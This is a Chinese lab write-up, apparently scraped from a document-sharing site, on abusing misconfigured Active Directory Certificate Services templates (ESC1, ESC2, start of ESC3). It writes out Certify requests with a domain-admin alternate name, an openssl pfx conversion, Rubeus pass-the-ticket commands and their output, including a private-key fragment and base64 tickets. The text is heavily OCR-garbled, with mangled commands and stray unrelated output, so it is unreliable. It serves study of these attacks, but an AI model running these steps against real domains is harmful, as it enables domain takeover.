《2024针对域证书服务的攻击分析.docx》由会员分享,可在线阅读,更多相关《2024针对域证书服务的攻击分析.docx(28页珍藏版)》请在课桌文档上搜索。
1、针对域证书服务的攻击分析(1)OxOO前言关于域证书服务攻击的白皮书出来大半个月了https:WWW.sDecterws.ioassetsresourcesCertifiedPeOWned.Ddf,下文以白皮书代指。作者也在BH21后放出了利用工具。在前期大家的主要关注点都集中在NT1.MrelayadCSHTTP来获取域控权限的ESC8上。其实白皮书中关于攻击项的技术有19个,我计划边学边写。这个过程中难免出错,望指正。昨天我把域环境搭建好,同时也在其中一台服务器上开启了ADCS服务,打算试试Certify和FOrgeeert工具。在测试Certify工具的时候,看到github的issue
2、的几个讨论,就有不好的预感,果不其然,在编译的时候就报错了。蜻出显示出来源:生成三1已启动全部重新生成:项目:Certify,酉2蛋:ReIeaSeAnyCPU1CSC:errorCS1617:laIgYerSiOn的选项9.0”无效O使用Z1.angversion:?列出支持的值O全部重新生成:成功。个,失败1个,跳过0个我的编译环境是:WinlO2004、VS2019.NET4,解决比较简单,修改Certify.csproj文件中多处:0.9改为default然后在非域用户登录的域内机器上执行1.:UsersredteamDesktopCertify,exefind/vulnerable/
3、domainI*Action:Findcertificatetemplates*Usingthesearchbase,CN=Configuration,DC=redteamlab,DC=com,!UnhandledCertifyexception:System.Runtime.InteropServices.COMException(0x8007054B):指定的域不存在,或无法联系。在System.DirectoryServices.DirectoryEntry.Bind(BooleanthrowIfFail)在System.DirectoryServices.DirectoryEntry.
4、Bind()在System.DirectoryServices.DirectoryEntry.get_AdsObject()在System.DirectoryServices.DirectorySearcher.FindAlKBooleanfindMoreThanOne)在Certify.1.ib.1.dapOperations.GetEnterpriseCAs(StringcaName)在Certify.Commands.Find.FindTemplates(BooleanoutputJSON)在Certify.CommandCollection.ExecuteConimand(String
5、CommandName,Dictionary2arguments)在Certify.Program.MainExecute(StringCommandName,Dictionary2parsedArgs)Certifycompletedin00:00:00.2235080因此判定这个工具基本无法在域夕横用,但从我对原理的粗浅理解来看,是可以实现在域外利用的工具的。这儿暂时跳过,我使用域用户登录域内机器,成功执行。:Wserswinl01709DesktopCertify.exefind/vulnerableAction:FindcertificatetemplatesUsingthesearc
6、hbase,CN=Configuration,DC=redtamlab,DC=com*1.istinginfoabouttheEnterpriseCA,redteaffllab-I,IN2019-mCA,EnterpriseCANameDNSHostnameFullNaaeFlagsCertSubjectNaioeCertThximbprintCertSerialCertStartDateCertEndDateCertChainUserSpecifiedSANCAPermissions:redteamlab-WIN2019-CA:win2019.redteamlab.co:win2019.re
7、dteamlab.coredteaalab-IIN2019-CA:SUPpORTS_KT_AUTHEKneATlON,CA_SERVERTYPE_ADVANCED:CN=redteamlab-WIN2019-CA,DC=redteamlab,DC=com:8132819A0B3586600BA3B8F6AC5B62A68B5651D0:35E1RA11.65ABA85438534F16FEO4O3D:2021/8/417:22:27:2026/8/417:32:27:CN=redteamlab-WIN2019-CA,DCredteaalabaDC=comOwner:BUI1.TINYAdmin
8、istratorsS-l-5-32-544AccessRightsAllow&irollAllowManageCAtManageCertificatesAllowManageCA,ManageCertificatesAllowManageCA,ManageCertificatesEnrollnentAgentRestrictions:NoneNoVulnerableCertificatesTemplatesfound!:DisabledPrincipalXTAUTHORinfKAuthenticatedCsersSTTTlBui1.TINXAdministratorsSTT32-544REDT
9、ElAM1.ABXDomainAdminsS-l-5-21-1582299834-3486534629-3132463485-512REDTE1AM1.ABXEnterpriseAdminsS-l-5-21-1582299834-3486534629-3132463485-519tifycompletedin00:00:01.1935482瞬间就尴尬了,没有危害。还没开始就结束了。好吧,测试之前我们先来配置危害环境。(PS:文中该用漏洞一词的地方我全部以危害代替,原因大家都清楚)0x02危害环境配置我们对白皮书中攻击项的利用进行分类: 窃取类 个体权限维持类(类似银票,后文以银证称呼) 权限提
10、升类 域权限维持类(类似金票,后文以金证称呼)我们先测试里面的权限提升类,这也是大家比较关注的,其他类需要提升权限以后再利用。今天我们主要是测试ESCl,DomainescalationviaNoIssuanceRequirements+EnrollableClientAuthentication/SmartCard1.ogonOIDtemplates+CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT”,这句话表达了3个点: 我们需要有权限去获取证书 能够登记为客户端身份验证或智能卡登录等 CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT开启
11、我们首先创建T具有以上3个点的证书模板,使用CerttmPI.ms响建。我们复制工作站身份认证模板,在常规中修改模板显示名称为ESCI,扩展中的应用程序策略中加入客户端身份认证。使用者名称发布要求取代模板扩展安全编甯应用程序策略扩展应用程序策略定义如何使用证书.要更改扩展,请选择它,然后单击“编辑”这个模板中包括的扩展(X):日颁发策略基本约束W:密钥用法口应用程序策略证书模板信息应用程序策略的描述(D):客户端身份验证应用程序策略(0):客户端身份验证在安全中加入DomainUserS具有注册权限:密钥证明服务器常规兼容性请求处理加密使用者名称发布要求取代模板扩展安全DomainUsers的
12、权限(P)允许拒绝完全控制:W读取:1写入、:J硼m:自动的:在使用者名称中,选择在请求中提供,也就是开启CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT。ESC1JI性常规兼容性请求处理加密密钥证明使用者名称发布要求取代模板扩展安全服务器.在请求中提施义使用现有证书中的使用者信息完成自动注册续订请求(W)()用ActiveDirectory中的信息生成(B)要加强使用者名称之间的一致性并简化证书管理,请选择这个选项。使用者名称格式四:在使用者名称中包括电子邮件名(!)将这个信息包括在另一个使用者名称中:电子邮件名但DNS名()用户主体名称(UPN)(U)服务的主体名
13、称(SPN)Q)然后使用CertSrV.msc,发布我们创建的危害模板信用证书模板啬1CertSfV证书演发机构(本地)redteamlabW!N2019CA证翎文件(F)撰作(八)M(V)电助(三),B力证书颁发机均(本地).媪redteamlab-WIN2019-CA,吊精的证书I一颁发的证书,挂起的申清失败的申调证书模板“I名称司通QJHHisUE的iS国目录电子疆件复制W域控制器身份嫉证51Kerberost0iiE3EFstta国“本EFS厘域控制器工IWeb服务器R计Il机司用户习从属证书颁发机构3ea在it证书激发机沟上选撵启用一个证书模板.注意:如果I1.近创建的证书模板没有出
14、现在此列表上,则在有关此模板的信息餐制端有脸制SB之前可帔IaiR中的所有证M板可修都不适用于你的CA.有关洋蝴K息.atg.名梆网用途回CEPfll密/1.证书中31代理ESC1客户Sm伤验证FExchangeiimPf(IIftywai)证书申调代理GExchangefflPSlPSec3IPSec(RtfWJflI)电OCSP晌应签名目RASKJiAS服务813交叉证书SS发机内7仅Exchange卷名1BIe国ae安全电子邮件IP安全IKE中吸IP安全IKE中圾OCSP签名警户送身份验证.服务81身份睑证(全部安全电子Ie件-A!t)u:r.;f122:H然后刷新刷新,稍等下,使用Ce
15、rtify,检测危害。Certify.exefind/vulnerable危害出现了。!VulnerableCertificatesTemplates:CANameTemplateNameSchemaVersionValidityPeriodRenewalPeriodmsPKI-Certificates-Name-F1agmspki-enrollment-flagAuthorizedSignaturesRequiredPkiextendedkeyusagePermissionsEnrollmentPermissionsEnrollmentRights:redteamlab-WIN2019-CA
16、:ESCl:2:1year,EXRsIMSVPP1.lES.SUBJECT:PUB1.ISH_TU_DS一枳户端身份aiObjectControlPermissionsOwnerWriteOwnerPrincipalsWriteDaclPrincipalsWritePropertyPrincipalsiBEnTEaflAB11nainAd*nIREDTEAflJ1.BDCertify-mainCertifyobjRelease名称修改日期也大小TempPE2021/8/622:19文件夹c,.NETFramework,Version=v4.0.Assem.2021/8/622:19C#源文件:
17、Certify.csproj.CoreCompilelnputs.cac.2021/8/80:03CACHE文件Certity.csprqj.File1.istAbsolute.txt2021/8/80:03文本文档_Certify,Csproj,ResoIveComReference.2021/8/80:03CACHE文件_CertifyxsprqjAssembIyReference1Cache2021/8/80:03CACHE文件国Certify.exe2021/8/80:03胡8Certify.ilmerge2021/8/80:03I1.MERGE文件IDesignTimeResoIve
18、AssembIyReferen.2021/8/80:03CACHE文件DesiqnTimeResoIveAssembIyReferen.2021/8/722:41CACHE文件2lnterop.CERTC1.lUb.dll2021/8/80:03应用程序扩展1国lnterop.CERTENRO1.1.1.ib.dll2021/8/80:03应用程序扩展19lbrdlrljvl.O.OAction:RequestaCertificatesCurrentusercontext:REDTEM1.ABvinlO17O9Nosubjectnamespecified,usingcurrentcontext
19、assubject.Template:ESClSubject:CN=WinlOl709,CN=Users,DC=redteamlab,DC=comAItName:Xiaoaiti*CertificateAuthority:vin2019.redteamlab.coBredteanlab-WIN2019-CACAResponse:Thecertificatehadbeenissued.RequestID:4cert.PefflBEGINRSAPRIVATEKEYdIEowIBKCAQEAu5HgmIQS+rIx8irODTGF1.PSBBVlZix1.aehYjUU9ncDlq11NAbTn!T
20、0SKoHagz8*vli5kgIctPQgllqM+xu0MwPFuQ*5Q1.671SAC8vzCFzRVjt11FoziklSvBtkCQlXxJ4Ug5iMH*KffnGgXSbRIt3i1XDYe9eIplPt/PYcgb6TTM84pQ0C8bbAJzJkkIbNIImPGZnEqytTBkuTmiQn3HyhmD2U08iXwHT1.Ra1MCDjeiOUQZs0aPMcfEgaGiVXNioSEa+JXWID2oKGGRURHtIxZF4ecMQI1.riASRmX7ZlPaH63Z成功获取到证书,注意altname参数,这个需要填的是域管用户名。然后算换Pem到PfX,这个需
21、要使用IinUX或者macos环境中的OPneSSI,我WindOWS上装有W1.S,直接开个W1.S挺方便的。opensslpkcsl2-incert.pem-keyex-CSPMicrosoftEnhancedCryptographicProvidervl.O-export-outcert.pfx最后使用RUbeUS获取TGT,我这儿直接就Ptt了。这儿需要注意的是要Ptt当然是需要管理员权限的。C:Userswinl01709DesktopRubeus.exeasktgt/userZxiaoaiticertificatecert.pfxdc:192.168.2.11pttlnfcJJ三三
22、v2.O.OAction:AskTGTUsingPKINITwithetyperc4_hmacandsubject:CN=winl01709,CN=Users,DC=redteamlab,DC=ccm11BuildingAS-REQ(wPKINITpreauth)for:xiaoaiti,+TGTrequestsuccessful!base64(ticket,kirbi):d。IFVjCCBbqgAWIBBaEDAgEW。IEZTCCBMIhggTFMnEWaADAgEFoRAbDIJFRFRFQI;IMQUIUQo9oiMwIaADAgECoRow(SsGa3jidGd0Gw5vZWR0ZW
23、FtbGFi1.nXvba0CBIEwggR9oAMCARKhAwIBAqKCBG8EggRrgc8UxZXfVAIfaMCqlgcOoUkT46cTHHZdbtMMdvfpZxXYgluOAo2cNlgKCtfWaG2HpexrqSmZIBM6qYfAdDvjJESHh5qu57+qQSFV,NQpDYwnxn39atV4h91iVAwvHJ7YxYXghtTM6aD+e60P41PeIMqjF71hRrGGUoqW51QfrQTcqPtChSWxApHD03brflZzs9THQGk8hlkVMe9A7hDsY3ZX18+15idnatoMnruudc/yj3TsxeiOaB5ko+Xbr
24、S5FFMrH9vwltHZOKe5GtUBcOb4jknpBajwaiOXoUzXqXUSV4P6kOzZdCBAED4tNkP9+vxscfO6g8FlHKFWBd4GTdqjCGBmP8vZF1.zKlpUhr677du1.6PPSpWTRgpQiQ+(c2IfKuuOnSQNITYPuqgKEFjOfCFgil9jrGufHD5wEigf8uIvuQa2n+XTgNH4ZKmnraHHXd9WpQeIfhBnWcc1.P74DrgJ6cIsAHBUMlbBJmCEBARV,hlB5tHkvzsSkNzzRCCpSdbgzHf9b1.KxFtj3OMTj0VxUpaU1.8H0n70Ds
25、5CXJCOZMwBoIYg9Bsi5Q1.QTcuZ5p+8fvMwTA2MEbrIkzOblbSqp9128WxotgZMfAT4fwelsA4qW1.HOZ3UgDlkud2uniXRfumbiC3J3swCtbw+ya5eNevoxBCezJS1.MMIFrQztoPn7702GbB60+I0PhuWZTh1.YXAqxJlPfoHt6scQr1.A5vOR87iAykWmaCfXvCUQMKXcayfdQRDD0AER85yon8vo+h4kHbtcxkwUEshU0EugBUayPFPWr5EgpgbmeodVUpk24z4Il/KT933FyDAtURlfhBjR4UmgARiB
26、jzta5UJF9KhvrOiQ5dMQSb0x04总结这就是ESCl的错误配置利用了,本文没有涉及到原理,只从配置和攻击利用上编写,感官上可能会觉得这样的错误配置在真实环境中多么?这个我也不确定,但据作者白皮书描述多,因为这3个配置,不全是人为配置,有些是默认配置,例如Web服务器模板里面默认CT_F1.AG_ENRO1.1.EE_SUPP1.IES_SUBJECT开启,用户模板里面默认domianUSerS有注册权限,我上面演示的模板默认在应用策略配置中就有客户端认证配置。因此ESCl这样情况的错误配置应该挺常见的。原理部分我会单独写,因为我目前也是学习阶段,理解的还不够深刻,后面再补上原
27、理分析。针对域证书服务的攻击分析(2)ESC2OxOO前言在ESCI的分析中我们遇到了T问题,就是Certify这个工具带了2个D1.1.,很不方便,刚好今天看twitter看到这么一个项目,第二件事是一个题外话,我由于本地网络问题,我环境域控修改了IP,导致域中机器Ping域控域名的时候返回127.0.0.Ie这是我没有按照正规流程修改域控IP,细节看回归今天的ESC2,ESC2和ESCl比较相似,大部分前提条件相同,具体条件如下: 低权限用户(我们这儿使用普通域用户)可以有权限注册证书 管理员审批被关闭 签名没有被要求认证 低权限用户可以使用危害模板以上都是ESCl的豺牛,下面一条是和ES
28、Cl不同的: 证书模板被设置成AnyPurposeEKU或者noEKU而在ESeI中开启CT-F1.AG-ENRO1.1.EE.SUPP1.lES.SUBJECT的要求林需要了。这种情况下我们能干什么呢?先搭建测试环境。0x01危害环境搭建因为和ESCl的变化很小,因此我们直接复制EScI模板,并改名为ESC2,然后修改应用程序策略为任何目的服务产er三xeI筑熠应用程序第潞扩展添力三用程序策略操作碱W施拿如命吗卸的ll口B口应用程序策略定义如何使用证书.应用程序策略(0):应用程序策略(在Windows20中称为增强型密钥用法)定义如何使用证书.选择这个横板颁发的证书有效签名所需的应用程序策
29、略.应用程序策略(八):内嵌WindOwS系统组件验证平台证书生存时间签名时间戢受保护进程轻型睑证受保护进程蛤证数字权利私钥存档提前启动反恶意驱动程序文档加里文档签名添加(八).二使这个扩展成为关键扩展(M)新建(N)确定取消然后把ESCl的使用者名称改回默认值。新模板的属性X服务器发布要求取代模板扩展安全兼容性常规清求处理加密密钥证明使用者名称O在请求中提供(三)使用现苞弹中的使用者信息完成自动注册续订请求(W)(*)用ACtiVeDireCtory中的信息生成(B)要加强使用者名称之间的一致性并简化证书管理,请选择这个选项.使用者名称格式(N):无在使用者名称中包括电子邮件名(I)将这个信
30、息包括在另一个使用者名称中:口电子邮件名(E)口DNS名(D)0x02利用测试我们还是使用ESCl的测试步骤,这里就不详细截图了(不记得的同学可以翻看ESCl的测试)结果可想而知:C:Userswinl01709DesktopRubeus.exeasktgt/user:xiaoaiti/certificate:Cert2.pfxdc:ad01.redtea三ptt国v2.0.0*Action:AskTGTUsingPKINITwithetyperc4_hmacandsubject:*BuildingAS-REQ(wPKINITpreauth)for:,xiaoaiti,XKRB-ERROR(7
31、5):KDC_ERR_C1.IENT_NAME_MISMATCHC:Userswinl01709DesktopRubeus.exeasktgt/user:WinIoI709/certificate:cert2.pfxdc:pttv2.0.0Action:AskTGT*UsingPKINITwithetyperc4-hmacandsubject:BuildingAS-REQ(wPKINITpreauth)for:winl01709,+TGTrequestsuccessful!base64(ticket.kirbi):doIFyDCCBcSgAwIBBaEDAgEWooIEljCCBNJhggTo
32、MllEyqADAgEFoRAbDljFRFRFQviMQUIuQOgNoiMwIaADAgECoRow)ctmm*pcifid,uingcurrentcontext.Mb)ot()TRlt4:BSCl()Mbjct:CW(in,OHOMra.DCal,DC-(AlUteB:MtelAtstrator(t)QnhDdldCertifyaceft100:XyatM.InvalixicAatXxceptlca:OnabletooaatCOMobjectoftypeCZftTKNRO1.la1.ib.CXS09rrIVAtaKayClAaatoIntarfotype*CZinTNROUXib.XX5
33、(MFr1.vatAKay?.ThieCPeetlCOfailedbee,UMtheQuaryXntarfAcecalleoUmOcMeaponntfortheInterfAoevilID(728AB342-217!-1113-B2A4-O0e7BBB2BO9)flldkatoUmfollowln9error:Moueiatrfaeevportedftx*KR&SU1.T:0三804002(E-NOD11KRrACB).atOgmMO1.1.1.ib.CZ09PrIrateKeyClase.t-1.engt(lBt32pVlue) tCertify.Crt.CreatePrivtKey(Boo
34、leanmcIneCootevt) tCertify.Crt.CrUrUtoMtMa9(Strin9UM4.tNMM,BooleanMahiMCOntMt,StringZ*ctJtaMStringaltJteM)(tCrtlfy.Ort.MMtCrt(Strln9d,BooleanridnCm,.StringtaplatAtCertify.Cnnd.Keet.Baecute(D1.et1.oaAry2at9umoS) tCarlfy.Cn-MHtCnUxalooK-cUCn-MW(Sag11rnn三n.Dictlohry2A9UMnt)atCrt1fy.Progren.Ma1a(Strin*o
35、oobmMmm.Klotioy2MrMdAr9)回归正题,今天时ESC3的分析,ESC3主要滥用的是错误配置了证书申请代理模板(EnrollmentAgentTemplates)f听名字你也清楚,就是一个用户代替另一个用户去申请证书。这个一听,头脑里的利用方案就出来了,一个普通域用户代替域管理员去申请证书。我们具体看下需要怎样的错误配置:模板(EnrollmentAgentTemplates)允许一个低权限用户(这里我们使用普通域用户)去注册一个代理证书。o这个条件和ESCl差不多,不需要设置使用者名称为在请求中提供,以及在扩展中修改应用程序策略的EKU为证书申请代理OID(13.6.1.4.
36、1.311.20.2.1)另外一个模板允许一个低权限用户使用代理证书(enrollmentagentcertificate)去代表另夕I一个用户请求证书,并且这个模板的EKU里配置有允许域认证的EKU。这里有点绕啊!不用担心,我们老规矩,配置环境。0x02危害环境配置这里涉及到2个模板,我们先配置第一个模板,还是在ESCl的基础上配置,安全中的配置不变还是配置了一个domainUSerS组,来满足低权限访问,这里在实战中要举一反三,以我们当前权限为出发点,如果我们当前有一个其他权限,而刚好有个一个危害模板在这个权限下能够访问,就满足了这个条件,而不是非要domainUSerS的权限。使用者名称改回默认的用ActiVeDirectOry中的信息生成。重点修改的还是扩展中的应用程序策略,改为证书申请代理。第二个模板我们还是在ESCl上设置,名称改为ESC3,在ESCl的基础上安全不用改,使用者名称恢复默认的用ACtiVeDireCtory中的信息生成。扩展也不用改,保留里面的客户端认证EKU。下面的修改是和以往不同的。密钥证明使用者名称扩展安全如果你需要一个以上的签名,